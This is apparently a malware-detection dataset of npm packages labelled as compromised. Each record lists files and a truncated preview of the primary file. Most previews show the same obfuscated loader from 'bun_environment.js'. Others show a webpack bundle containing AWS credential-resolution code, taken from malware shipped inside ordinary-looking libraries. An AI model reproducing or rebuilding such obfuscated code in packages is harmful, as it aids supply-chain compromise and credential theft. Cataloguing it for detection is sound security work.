"tmp/tmpw33cu2xi/@accordproject-concerto-metamodel/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpw33cu2xi/@accordproject-concerto-metamodel/package/bun_environment.js", "tmp/tmpw33cu2xi/@accordproject-concerto-metamodel/package/lib/metamodelutil.js", "tmp/tmpw33cu2xi/@accordproject-concerto-metamodel/package/lib/metamodel.js", "tmp/tmpw33cu2xi/@accordproject-concerto-metamodel/package/setup_bun.js", "tmp/tmpw33cu2xi/@accordproject-concerto-metamodel/package/package.json", "tmp/tmpw33cu2xi/@accordproject-concerto-metamodel/package/lib/dcsmodel.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-actionsheet", "version": "1.0.3", "filename": "2025-11-24-@actbase_react-native-actionsheet-v1.0.3.zip", "primary_file": "tmp/tmpz954julb/@actbase-react-native-actionsheet/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpz954julb/@actbase-react-native-actionsheet/package/bun_environment.js", "tmp/tmpz954julb/@actbase-react-native-actionsheet/package/setup_bun.js", "tmp/tmpz954julb/@actbase-react-native-actionsheet/package/index.js", "tmp/tmpz954julb/@actbase-react-native-actionsheet/package/index.android.js", "tmp/tmpz954julb/@actbase-react-native-actionsheet/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@di", "version": "2.0.32", "filename": "2025-09-15-@art-ws_di-v2.0.32.zip", "primary_file": "tmp/tmp5owjkt_s/@art-ws-di/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmp5owjkt_s/@art-ws-di/package/bundle.js", "tmp/tmp5owjkt_s/@art-ws-di/package/dist/es/injector.js", "tmp/tmp5owjkt_s/@art-ws-di/package/package.json", "tmp/tmp5owjkt_s/@art-ws-di/package/dist/es/types.js", "tmp/tmp5owjkt_s/@art-ws-di/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@antstackio@json-to-graphql", "version": "1.0.3", "filename": "2025-11-24-@antstackio_json-to-graphql-v1.0.3.zip", "primary_file": "tmp/tmpbg_e46li/@antstackio-json-to-graphql/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpbg_e46li/@antstackio-json-to-graphql/package/bun_environment.js", "tmp/tmpbg_e46li/@antstackio-json-to-graphql/package/setup_bun.js", "tmp/tmpbg_e46li/@antstackio-json-to-graphql/package/src/index.js", "tmp/tmpbg_e46li/@antstackio-json-to-graphql/package/src/test.js", "tmp/tmpbg_e46li/@antstackio-json-to-graphql/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@accordproject@concerto-linter-default-ruleset", "version": "3.24.1", "filename": "2025-11-24-@accordproject_concerto-linter-default-ruleset-v3.24.1.zip", "primary_file": "tmp/tmppyut9345/@accordproject-concerto-linter-default-ruleset/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmppyut9345/@accordproject-concerto-linter-default-ruleset/package/bun_environment.js", "tmp/tmppyut9345/@accordproject-concerto-linter-default-ruleset/package/setup_bun.js", "tmp/tmppyut9345/@accordproject-concerto-linter-default-ruleset/package/dist/functions/find-abstract-declaration.js", "tmp/tmppyut9345/@accordproject-concerto-linter-default-ruleset/package/dist/ruleset-main.js", "tmp/tmppyut9345/@accordproject-concerto-linter-default-ruleset/package/dist/no-reserved-keywords.js", "tmp/tmppyut9345/@accordproject-concerto-linter-default-ruleset/package/dist/functions/find-empty-declarations.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-less-transformer", "version": "1.0.6", "filename": "2025-11-24-@actbase_react-native-less-transformer-v1.0.6.zip", "primary_file": "tmp/tmpshrfait7/@actbase-react-native-less-transformer/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpshrfait7/@actbase-react-native-less-transformer/package/bun_environment.js", "tmp/tmpshrfait7/@actbase-react-native-less-transformer/package/setup_bun.js", "tmp/tmpshrfait7/@actbase-react-native-less-transformer/package/index.js", "tmp/tmpshrfait7/@actbase-react-native-less-transformer/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@antstackio@eslint-config-antstack", "version": "0.0.3", "filename": "2025-11-24-@antstackio_eslint-config-antstack-v0.0.3.zip", "primary_file": "tmp/tmpkmtih_k5/@antstackio-eslint-config-antstack/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpkmtih_k5/@antstackio-eslint-config-antstack/package/bun_environment.js", "tmp/tmpkmtih_k5/@antstackio-eslint-config-antstack/package/setup_bun.js", "tmp/tmpkmtih_k5/@antstackio-eslint-config-antstack/package/.eslintrc.js", "tmp/tmpkmtih_k5/@antstackio-eslint-config-antstack/package/package.json", "tmp/tmpkmtih_k5/@antstackio-eslint-config-antstack/package/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@eslint", "version": "1.0.5", "filename": "2025-09-15-@art-ws_eslint-v1.0.5.zip", "primary_file": "tmp/tmpme7jr00h/@art-ws-eslint/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpme7jr00h/@art-ws-eslint/package/bundle.js", "tmp/tmpme7jr00h/@art-ws-eslint/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@antstackio@graphql-body-parser", "version": "0.1.1", "filename": "2025-11-24-@antstackio_graphql-body-parser-v0.1.1.zip", "primary_file": "tmp/tmphjcrtw_x/@antstackio-graphql-body-parser/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmphjcrtw_x/@antstackio-graphql-body-parser/package/bun_environment.js", "tmp/tmphjcrtw_x/@antstackio-graphql-body-parser/package/setup_bun.js", "tmp/tmphjcrtw_x/@antstackio-graphql-body-parser/package/dist/index.js", "tmp/tmphjcrtw_x/@antstackio-graphql-body-parser/package/package.json", "tmp/tmphjcrtw_x/@antstackio-graphql-body-parser/package/example/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@ahmedhfarag@ngx-virtual-scroller", "version": "4.0.4", "filename": "2025-09-15-@ahmedhfarag_ngx-virtual-scroller-v4.0.4.zip", "primary_file": "tmp/tmp49m2psr0/@ahmedhfarag-ngx-virtual-scroller/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmp49m2psr0/@ahmedhfarag-ngx-virtual-scroller/package/bundle.js", "tmp/tmp49m2psr0/@ahmedhfarag-ngx-virtual-scroller/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-kakao-navi", "version": "2.0.4", "filename": "2025-11-24-@actbase_react-native-kakao-navi-v2.0.4.zip", "primary_file": "tmp/tmposmuf2a1/@actbase-react-native-kakao-navi/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmposmuf2a1/@actbase-react-native-kakao-navi/package/bun_environment.js", "tmp/tmposmuf2a1/@actbase-react-native-kakao-navi/package/setup_bun.js", "tmp/tmposmuf2a1/@actbase-react-native-kakao-navi/package/index.js", "tmp/tmposmuf2a1/@actbase-react-native-kakao-navi/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} 